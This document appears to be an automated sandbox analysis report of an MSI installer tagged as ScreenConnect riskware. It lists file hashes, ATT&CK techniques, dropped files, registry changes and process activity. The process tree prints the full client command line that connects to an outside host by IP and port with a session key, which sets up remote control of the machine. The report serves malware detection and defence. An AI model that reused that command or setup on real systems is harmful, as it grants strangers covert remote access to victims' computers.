52addbccf07f023efef348bbd8c74dbc588f65ab2ddb69b9e676fa0b768c0b99

Analysis

max time kernel
149s
max time network
142s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/04/2026, 13:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SecuriteInfo.com.Riskware.MSIL.ScreenConnect.Heur.29504.36.msi
Size 1.8MB
Sample260415-qwl4zaas21
SHA256 52addbccf07f023efef348bbd8c74dbc588f65ab2ddb69b9e676fa0b768c0b99
MD5 3e573f4670898a35fd39d5d430c96748
SHA1 595f8a9d253e1c9d66cc83bc0f26a8931a19cb32
SHA512 5e5983cfeda51cdf9d28695e3277dad611415d0f1d73f9aa45f59fad64f32a1ce94d8e709c199b4c245f1d87f880ab7777be88a140dbcad3f4ba51b4324404dc
SSDEEP 24576:RNGryn8Y2KWeNXPKPC+j/4TkfVub1emjS4t3nHRRlUhIMUUGGHpYLgmdF8gu7ura:jeyqkXSPkYYb1rSuRlUOXGHpYLgSL1g
TLSH
T11095F13136E4C039E2B21B35E93A92F15E79BD24DA62C05F43643D1E7971E809AB2773
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery persistence privilege_escalation ransomware

Malware Config

Signatures

Executes dropped EXE 3 IoCs

pid	Process
6088	ScreenConnect.ClientService.exe
5524	ScreenConnect.WindowsClient.exe
3400	ScreenConnect.WindowsClient.exe

Loads dropped DLL 25 IoCs

pid	Process
1064	MsiExec.exe
1788	rundll32.exe
1788	rundll32.exe
1788	rundll32.exe
1788	rundll32.exe
1788	rundll32.exe
1788	rundll32.exe
1788	rundll32.exe
5360	MsiExec.exe
5360	MsiExec.exe
5360	MsiExec.exe
1204	MsiExec.exe
1204	MsiExec.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.Client.dll	msiexec.exe

Drops file in Windows directory 20 IoCs

description	ioc	Process
File created	C:\Windows\Installer\{354DBB4C-17BA-4511-8FA3-5113E335E905}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{354DBB4C-17BA-4511-8FA3-5113E335E905}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4C18.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4C78.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4D36.tmp	msiexec.exe
File created	C:\Windows\Installer\e584aa2.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2ECA7F01F43D9A74.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF7B3F8D73CDAD0500.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4CF6.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF688AA2FBF26A0338.TMP	msiexec.exe
File created	C:\Windows\Installer\e584aa0.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e584aa0.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{354DBB4C-17BA-4511-8FA3-5113E335E905}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4BF8.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{354DBB4C-17BA-4511-8FA3-5113E335E905}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DF9EBF107DDF189ED8.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4C68.tmp	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5064	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000001dfaa52160603e580000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800001dfaa5210000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff0000000007000100006809001dfaa521000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a1dfaa521000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d1dfaa521000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe

Modifies registry class 32 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\sc-b9eddf610409fd2b\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\ProductName = "ScreenConnect Client (b9eddf610409fd2b)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\Version = "369434313"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9F106A369A2CD13F9BDEFD164090DFB2\C4BBD453AB711154F83A15313E539E50	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (b9eddf610409fd2b)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\ProductIcon = "C:\\Windows\\Installer\\{354DBB4C-17BA-4511-8FA3-5113E335E905}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C4BBD453AB711154F83A15313E539E50\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\PackageCode = "2EA8C4C0BDE94E340906910F1A2940CC"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-b9eddf610409fd2b	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9F106A369A2CD13F9BDEFD164090DFB2	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C4BBD453AB711154F83A15313E539E50	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\PackageName = "SecuriteInfo.com.Riskware.MSIL.ScreenConnect.Heur.29504.36.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-b9eddf610409fd2b	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4BBD453AB711154F83A15313E539E50\SourceList\Media	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
644	msiexec.exe
644	msiexec.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe
6088	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5064	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5064	msiexec.exe
Token: SeSecurityPrivilege	644	msiexec.exe
Token: SeCreateTokenPrivilege	5064	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5064	msiexec.exe
Token: SeLockMemoryPrivilege	5064	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5064	msiexec.exe
Token: SeMachineAccountPrivilege	5064	msiexec.exe
Token: SeTcbPrivilege	5064	msiexec.exe
Token: SeSecurityPrivilege	5064	msiexec.exe
Token: SeTakeOwnershipPrivilege	5064	msiexec.exe
Token: SeLoadDriverPrivilege	5064	msiexec.exe
Token: SeSystemProfilePrivilege	5064	msiexec.exe
Token: SeSystemtimePrivilege	5064	msiexec.exe
Token: SeProfSingleProcessPrivilege	5064	msiexec.exe
Token: SeIncBasePriorityPrivilege	5064	msiexec.exe
Token: SeCreatePagefilePrivilege	5064	msiexec.exe
Token: SeCreatePermanentPrivilege	5064	msiexec.exe
Token: SeBackupPrivilege	5064	msiexec.exe
Token: SeRestorePrivilege	5064	msiexec.exe
Token: SeShutdownPrivilege	5064	msiexec.exe
Token: SeDebugPrivilege	5064	msiexec.exe
Token: SeAuditPrivilege	5064	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5064	msiexec.exe
Token: SeChangeNotifyPrivilege	5064	msiexec.exe
Token: SeRemoteShutdownPrivilege	5064	msiexec.exe
Token: SeUndockPrivilege	5064	msiexec.exe
Token: SeSyncAgentPrivilege	5064	msiexec.exe
Token: SeEnableDelegationPrivilege	5064	msiexec.exe
Token: SeManageVolumePrivilege	5064	msiexec.exe
Token: SeImpersonatePrivilege	5064	msiexec.exe
Token: SeCreateGlobalPrivilege	5064	msiexec.exe
Token: SeCreateTokenPrivilege	5064	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5064	msiexec.exe
Token: SeLockMemoryPrivilege	5064	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5064	msiexec.exe
Token: SeMachineAccountPrivilege	5064	msiexec.exe
Token: SeTcbPrivilege	5064	msiexec.exe
Token: SeSecurityPrivilege	5064	msiexec.exe
Token: SeTakeOwnershipPrivilege	5064	msiexec.exe
Token: SeLoadDriverPrivilege	5064	msiexec.exe
Token: SeSystemProfilePrivilege	5064	msiexec.exe
Token: SeSystemtimePrivilege	5064	msiexec.exe
Token: SeProfSingleProcessPrivilege	5064	msiexec.exe
Token: SeIncBasePriorityPrivilege	5064	msiexec.exe
Token: SeCreatePagefilePrivilege	5064	msiexec.exe
Token: SeCreatePermanentPrivilege	5064	msiexec.exe
Token: SeBackupPrivilege	5064	msiexec.exe
Token: SeRestorePrivilege	5064	msiexec.exe
Token: SeShutdownPrivilege	5064	msiexec.exe
Token: SeDebugPrivilege	5064	msiexec.exe
Token: SeAuditPrivilege	5064	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5064	msiexec.exe
Token: SeChangeNotifyPrivilege	5064	msiexec.exe
Token: SeRemoteShutdownPrivilege	5064	msiexec.exe
Token: SeUndockPrivilege	5064	msiexec.exe
Token: SeSyncAgentPrivilege	5064	msiexec.exe
Token: SeEnableDelegationPrivilege	5064	msiexec.exe
Token: SeManageVolumePrivilege	5064	msiexec.exe
Token: SeImpersonatePrivilege	5064	msiexec.exe
Token: SeCreateGlobalPrivilege	5064	msiexec.exe
Token: SeCreateTokenPrivilege	5064	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5064	msiexec.exe
Token: SeLockMemoryPrivilege	5064	msiexec.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
5064	msiexec.exe
5064	msiexec.exe
5524	ScreenConnect.WindowsClient.exe
5524	ScreenConnect.WindowsClient.exe
5524	ScreenConnect.WindowsClient.exe
5524	ScreenConnect.WindowsClient.exe
5524	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 5 IoCs

pid	Process
5524	ScreenConnect.WindowsClient.exe
5524	ScreenConnect.WindowsClient.exe
5524	ScreenConnect.WindowsClient.exe
5524	ScreenConnect.WindowsClient.exe
5524	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 644 wrote to memory of 1064	644	msiexec.exe	80
PID 1064 wrote to memory of 1788	1064	MsiExec.exe	81
PID 644 wrote to memory of 2740	644	msiexec.exe	85
PID 644 wrote to memory of 5360	644	msiexec.exe	87
PID 644 wrote to memory of 1204	644	msiexec.exe	88
PID 6088 wrote to memory of 5524	6088	ScreenConnect.ClientService.exe	90
PID 6088 wrote to memory of 3400	6088	ScreenConnect.ClientService.exe	91

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Riskware.MSIL.ScreenConnect.Heur.29504.36.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5064

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:644
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 40B88D125015F0F88A4E0FB6CB3A3A0B C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1325.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240653203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1788
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2740
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6CDC2DE08E29D3950874959436C69003
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5360
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F562FEF889866C04A806B554A7E3470E E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:1204

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:5616

C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=82.208.20.199&p=8041&s=6831f3d8-0f09-48a4-902f-d5951acf7f9c&k=BgIAAACkAABSU0ExAAgAAAEAAQA11G4g6%2bl4BKXQ3lLmcayE%2fTguge6wmV27n6wlt8EvBiHcsu8P672dpbQaFdNGNeYcZsdbZmUyCJThrZp5XhHJ0vI8KRocvvvxDxRirvN2jyFUkTJMdG9Zzm9XQPWs55XHRB1t%2fziMPJbzZQYTVQcuId0%2bqsjR6kZREKFcywCcswlhQRVKeG2XxXzZ7wIuMtd54hJu7t3udq%2b2Eg0%2fpG2NLZwnnP8a4x7r4YXXLypxEkB7dPrcvJaV9f5mjsw5UxlE9M5jKtNnrlCq1h7fd2hoPBk8U4oAslQeNqjmjvDyQxW5cTASTpnTZiHbbvUyV2DhBmZdk4cI07iOGyQzqmWf&t=&c=ragab&c=&c=&c=&c=&c=&c=&c="
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6088
- C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe" "RunRole" "5ec07573-a9c2-486d-9faa-430d337863c4" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5524
- C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (b9eddf610409fd2b)\ScreenConnect.WindowsClient.exe" "RunRole" "901e41b7-a70c-459b-980b-6495f7948224" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:3400

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e584aa1.rbs

Path C:\Config.Msi\e584aa1.rbs
Size 212KB
SHA256 49c133d7b5afeb21707779bd4c19318ce64c0e996de27b342ceefc0859ae2a7f
MD5 e0d2e0f460a5e7a98a3dd4b7a45a66f5
SHA1 8401311ab78a2392874726c4df61e6401887f9c0
SHA512 934a593c3e438d6b55c17f78f3c912b99ad6d515e7a52799139dd823c522b115463e3a4a9fbd0d65266037a7427cf5e9aa74fc43b148ec900771e56328c115ba
SSDEEP 3072:Oo9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGH:OouH2aCGw1ST1wQLdqvH
TLSH
T1E3248C227080807EE7FA1A36D93E9A61BE7DF6240760C59EC3848C1E5D644D06BF7B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

